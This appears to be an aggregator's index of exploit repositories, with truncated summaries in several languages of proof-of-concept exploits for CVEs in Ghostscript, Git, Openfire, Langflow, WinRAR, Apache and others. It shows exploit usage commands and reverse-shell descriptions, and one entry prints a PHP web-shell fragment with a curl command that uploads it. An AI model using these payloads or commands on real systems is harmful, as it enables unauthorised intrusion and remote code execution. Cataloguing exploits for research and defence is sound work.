ghostscript-CVE-2023-43115

ghostscript-CVE-2023-43115 一份简要说明及示例，用于帮助理解 CVE-2023-43115。 !WARNING 我主要是为自己理解这个问题并学习网络安全而写的。因此可能存在错误。 问题所在 为了使用 IJS 设备（改进的喷墨打印），Ghostscript 需要启动一个 IJS 服务器。这是通过使用 IjsServer 参数中指定的路径来实现的。IjsServer 参数可以配置为引用文件系统中的任何文件，然后 Ghostscript 会执行该指定文件。很明显，这可能会被滥用，例如你可以运行以下 Ghostscript 命令来输出 "Hello World"。...

CVE-2023-24249-Exploit

CVE-2023-24249 漏洞利用脚本 描述 本仓库包含针对 CVE-2023-24249 的漏洞利用脚本，该漏洞存在于 laravel-admin 1.8.19 版本中，属于严重漏洞。此漏洞允许任意文件上传，使攻击者能够通过构造的 PHP 文件执行任意代码。该利用脚本演示了攻击者如何向目标应用上传反向 Shell 并执行以获取远程访问权限。 漏洞详情 CVE-2023-24249 是 laravel-admin v1.8.19 中的一个任意文件上传漏洞。该漏洞允许攻击者上传并执行任意 PHP 文件，从而导致潜在的远程代码执行。 基础评分 ：7.2 高危 攻击向量...

CVE-2021-29003

CVE-2021-29003 https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/ Exploit db https://www.exploit-db.com/exploits/49764 medium https://sharmajijvs.medium.com/how-i-got-my-first-cve-af2c3009e409 Unit 42 palo alto networks...

CVE-2024-32002

GIT RCE CVE-2024-32002 描述 | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | 利用 | 首先你需要在 git 上创建 "calledrepo" 和 "commandrepo" 仓库。 | 受害者稍后通过 "git clone --recursive calledrepo.git" 调用 calledrepo，该操作会重定向到 commandrepo 并执行钩子脚本。 | 这个 bash 反向 shell payload 在 WINDOWS 和...

CVE-2023-32315

CVE-2023-32315 Openfire 控制台身份验证绕过漏洞（含 RCE 插件） 设置 root@kitploit: git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt 使用方法 root@kitploit: python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3 CVE-2023-32315.py -l lists.txt 步骤 1. 运行漏洞利用程序 2...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 本地文件包含漏洞利用 - CVE-2012-4869 描述 该脚本利用了 Elastix 2.2.0 中的本地文件包含（LFI）漏洞，通过 callmepage.php 端点注入命令，实现远程代码执行（RCE）。该漏洞利用基于 CVE-2012-4869 。 功能 绕过 TLS 证书验证。 使用 Perl 反向 Shell 载荷。 支持 自定义 LHOST 和 LPORT 用于反向 Shell。 抑制 HTTPS 安全警告。 依赖 Python 3 requests 模块 使用以下命令安装依赖： root@kitploit: pip install...

CVE-2026-33017

CVE-2026-33017 — Langflow 未认证远程代码执行 作者： dynamo2k1 严重性： 严重 CVSSv3： 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 概述 CVE-2026-33017 是 Langflow（一个用于可视化构建 LLM 应用和 AI 工作流的开源平台）中的一个严重未认证远程代码执行漏洞。 存在漏洞的端点 buildpublictmp 无需认证即可接受请求体中由攻击者提供的 data 字段。这使攻击者能够注入包含恶意 Python 自定义组件 的完全自定义流程定义，其代码会在构建过程中于服务器上执行。...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ 通过 Jolokia 的远程代码执行 1. 概述 项目| 详情 ---|--- CVE ID| CVE-2026-34197 CVSS 评分| 8.8（高危） 漏洞类型| 远程代码执行（RCE） CWE| CWE-20 输入验证不当 / CWE-94 代码注入 受影响组件| Apache ActiveMQ Classic - Jolokia JMX-HTTP 桥接 受影响版本| 5.19.4 以及 6.0.0 至 6.2.2 修复版本| 5.19.4 / 6.2.3 披露日期| 2026-04-07 认证|...

CVE-2025-6218

CVE-2025-6218 | ZDI-CAN-27198 | ZDI-25-409 - WinRAR 路径遍历 - 远程代码执行 RCE 概念验证 更多信息： https://www.win-rar.com/singlenewsview.html?&L=0 https://www.cvedetails.com/cve/CVE-2025-6218/ https://www.zerodayinitiative.com/advisories/ZDI-25-409/ RARLAB WinRAR 目录遍历远程代码执行漏洞。此漏洞允许远程攻击者在受影响的 RARLAB WinRAR...

CVE-2022-22947

脆弱性の説明 Spring Cloud GateWayはSpring Cloudの新しいプロジェクトであり、Netflix Zuulの置き換えを目的としています。Spring 5.0+、Spring Boot 2.0+、WebFlux（高性能なReactorパターンに基づく応答通信フレームワークNetty、非同期ノンブロッキングモデル）などの技術で開発されており、Zuulよりも高性能です。公式テストでは、GateWayはZuulの1.6倍の性能を発揮し、マイクロサービスアーキテクチャにシンプルで効果的な統一APIルーティング管理方法を提供することを目的としています。 Spring Clo...

CVE-2024-37759_PoC

CVE-2024-37759 概念验证 描述 DataGear 5.0.0 及更早版本存在 SpEL 表达式注入漏洞，可导致远程代码执行。 漏洞利用 CVE漏洞利用详情 当你请求 /data/schemaId/tableName/view 接口时，如果数据库表没有主键，攻击者可以在 data 字段中注入恶意的 SpEL 表达式。当点击“查看”按钮时，SpEL 表达式将会被执行。 要执行攻击，你可以创建一个恶意的数据库表，如下所示： root@kitploit: CREATE DATABASE evil; CREATE TABLE evil name varchar209 COLLATE...

CVE-2026-5029-Exploit

🔥 CVE-2026-5029 — Code Runner MCP Server RCE 漏洞 通过 run-code MCP 工具实现未授权远程代码执行 CVE-2026-5029 的概念验证（PoC）利用程序——Code Runner MCP Server 中的一个严重未授权远程代码执行漏洞，当服务器以--transport http 运行时，可通过 run-code MCP 工具触发。 📋 漏洞概述 🧠 技术描述 Code Runner MCP Server 在通过 --transport http 标志启动时，会在 3088 端口 上暴露一个 JSON-RPC /mcp...

CVE-2023-0297

CVE-2023-0297 PyLoad 0.5.0b3.dev31 中的未认证远程代码执行 免责声明：此脚本用于审计系统的安全性。请仅在您自己的系统或您已获得书面许可的系统上使用此脚本。...

CVE-2019-0708-poc

CVE-2019-0708-poc CVE-2019-0708 Detección masiva de vulnerabilidad de ejecución remota de código 3389hosts es la lista de direcciones IP a detectar, una por línea pool = ThreadPool10 es el hilo de escaneo personalizado Nota Entorno Windows con Python 3 Uso 1. Edita 3389hosts, escribe las...

CVE-2023-6553

CVE-2023-6553 由于"Backup Migration"插件中一个错误的 include 语句，攻击者可以实现远程代码执行（RCE） CVE 摘要 Backup Migration WordPress 插件在所有版本（包括 1.3.7）中，通过 /includes/backup-heart.php 文件存在远程代码执行漏洞。这是因为攻击者能够控制传递给 include 语句的值，并利用这一点实现远程代码执行。这使得未经身份验证的攻击者能够轻松在服务器上执行代码。 受影响版本 Backupbliss Backup Migration Wordpress = 1.3.7 异常...

CVE-2021-41773

Apache HTTP Server 2.4.49 - 路径遍历与远程代码执行（RCE）漏洞利用（修复版本） 描述 这是一个针对Apache HTTP Server 2.4.49漏洞（标识为CVE-2021-41773 ）的漏洞利用程序。原始版本的漏洞利用程序发布在Exploit-DB上，包含语法和运行错误，因此本版本已进行修正以确保其在Linux环境中的正常运行。 所做的修正 修正了if语句中的语法错误。 修正了for循环以确保其正确执行。 添加了适当的参数验证。 提高了可读性和错误处理能力。 包含了权限和执行的检查。 用法 root@kitploit: chmod +x PoC.sh...

Spring-Cloud-Gateway-CVE-2022-22947

Spring-Cloud-GatewayCVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞 root@kitploit: python3 springrce.py url cmd 有缓存，多执行几次。...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell：...

CVE-2024-1642470

Vulnerabilidad de ejecución remota de código en el controlador principal genérico USB de Windows CVE-2024-1642470 Descripción general Este repositorio contiene un código de explotación de prueba de concepto PoC y un script de detección para la vulnerabilidad de ejecución remota de código en el...

CVE-2023-42793

CVE-2023-42793 教育目的のみ CVE-2023-42793 の PoC 使用方法 CVE-2023-42793admin.sh: root@kitploit: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port 動作確認画像: 使用方法 CVE-2023-42793rce.sh: root@kitploit: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port command 動作確認...